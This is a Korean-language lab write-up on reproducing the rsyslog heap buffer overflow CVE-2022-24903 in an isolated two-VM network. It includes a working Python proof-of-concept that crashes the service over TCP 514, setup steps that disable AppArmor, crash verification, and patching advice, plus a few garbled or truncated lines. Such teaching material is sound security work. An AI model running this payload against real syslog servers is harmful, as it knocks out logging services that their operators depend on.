
CVE-2022-24903 Heap-based buffer overflow
저자: Andrew Beshay Mousa
rsyslog 힙 버퍼 오버플로 취약점을 시연하는 실용적인 핸즈온 랩입니다.
TCP syslog 수신 시 octet-counted framing을 통해 rsyslog 힙 버퍼 오버플로 취약점(CVE-2022-24903)을 재현하고 이해할 수 있는 실용적인 랩 환경입니다.
CVE-2022-24903은 octet-counted framing(RFC 5425)을 사용할 때 rsyslog의 TCP syslog 수신 모듈(imtcp)에서 발생하는 힙 버퍼 오버플로 취약점입니다.
공격자는 과도하게 긴 octet-count 접두사를 포함한 조작된 TCP syslog 메시지를 전송하여 rsyslog가 힙에 할당된 버퍼의 경계를 벗어나 데이터를 쓰게 만들 수 있으며, 이로 인해 서비스 거부(DoS) 또는 잠재적인 메모리 손상이 발생할 수 있습니다.
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
참고: 대상 머신으로 Ubuntu의 어떤 버전(20.04, 22.04, 24.04)을 사용해도 됩니다. 핵심은 취약한 rsyslog 8.2001.0
.deb패키지를 수동으로 설치하는 것입니다.
TCP syslog(RFC 5425)에서 메시지 앞에는 바이트 단위의 길이가 접두사로 붙습니다:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
취약한 rsyslog 버전에서 octet-count 파서는:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
결과: 9999...(5000자리 이상)를 전송하면 힙 버퍼가 오버플로되어 인접 메모리가 손상됩니다.
0-9) 사용할 수 있습니다하이퍼바이저에서 Host-Only 네트워크를 생성합니다:
192.168.56.0/24두 VM을 모두 이 네트워크에 연결합니다.
sudo nano /etc/netplan/00-installer-config.yaml
다음을 붙여넣습니다:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
적용합니다:
sudo netplan apply
확인합니다:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
dpkg 잠금 오류가 발생하면:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
버전을 확인합니다:
rsyslogd -v | head -2
예상 출력:
rsyslogd 8.2001.0
AppArmor가 이전 패키지와 함께 rsyslog가 올바르게 작동하는 것을 차단할 수 있습니다:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
파일 내용을 지우고 다음을 붙여넣습니다:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
수신 상태를 확인합니다:
sudo ss -tlnp | grep 514
예상:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
다음을 붙여넣습니다:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
또는 Netplan을 사용하는 경우:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
다음을 붙여넣습니다:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
실행 권한을 부여합니다:
chmod +x exploit.py
공격자 머신에서 연결을 확인합니다:
nc -zv 192.168.56.20 514
예상:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
예상 출력:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
대상 머신에서 크래시를 확인합니다:
ps aux | grep rsyslog
출력이 없으면 -> rsyslog가 크래시된 것입니다
sudo dmesg | tail -10
예상 출력:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
또는:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
재현 가능성을 확인하려면:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
그런 다음 Kali에서 익스플로잇을 다시 실행합니다. 크래시가 다시 발생해야 합니다.
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
패치된 버전을 확인합니다:
rsyslogd -v | head -2
8.2204.1 이상이어야 합니다.
/etc/rsyslog.conf에서 주석 처리합니다:
# module(load="imtcp")
# input(type="imtcp" port="514")
TCP syslog가 필요하다면 암호화된 전송을 사용합니다:
module(load="imgtls")
input(type="imgtls" port="6514")
TCP 514를 신뢰할 수 있는 호스트로만 제한합니다:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
이 랩은 교육 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 사용하지 마십시오. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
커피와 호기심으로 만든 Andrew Beshay Mousa의 프로젝트입니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2022-24903 |
| 영향받는 버전 | rsyslog < 8.2204.1 |
| 공격 경로 | 네트워크 |
| 포트 | 514/TCP |
| 모듈 | imtcp (TCP 입력) |
| 영향 | DoS / 힙 손상 |
| RCE 가능성? | 없음 (공급업체 평가) |
| VM | OS | 역할 | IP | RAM | CPU |
|---|
| 대상 | Ubuntu 22.04 | 취약한 rsyslog 서버 | 192.168.56.20 | 1 GB | 1 |
| 공격자 | Kali Linux | 익스플로잇 전송자 | 192.168.56.10 | 2 GB | 1 |
| 문제 | 해결 방법 |
|---|
Connection refused | rsyslog가 실행 중이 아니거나 TCP 514에서 수신 대기하지 않습니다. sudo systemctl status rsyslog 및 `sudo ss -tlnp |
Unit rsyslog.service is masked | sudo systemctl unmask rsyslog.service syslog.socket을 실행하세요 |
dpkg frontend lock | sudo kill -9 <PID>를 실행한 다음 sudo rm -f /var/lib/dpkg/lock-frontend를 실행하세요 |
| AppArmor DENIED in dmesg | sudo systemctl stop apparmor && sudo systemctl disable apparmor를 실행하세요 |
| rsyslog 버전이 8.2112+인 경우 | 패치된 버전을 설치한 것입니다. rsyslog_8.2001.0-1ubuntu1_amd64.deb를 수동으로 다운로드하여 설치하세요 |
| 익스플로잇 후에도 크래시가 발생하지 않는 경우 | 페이로드 크기를 b"9" * 20000으로 늘리세요 |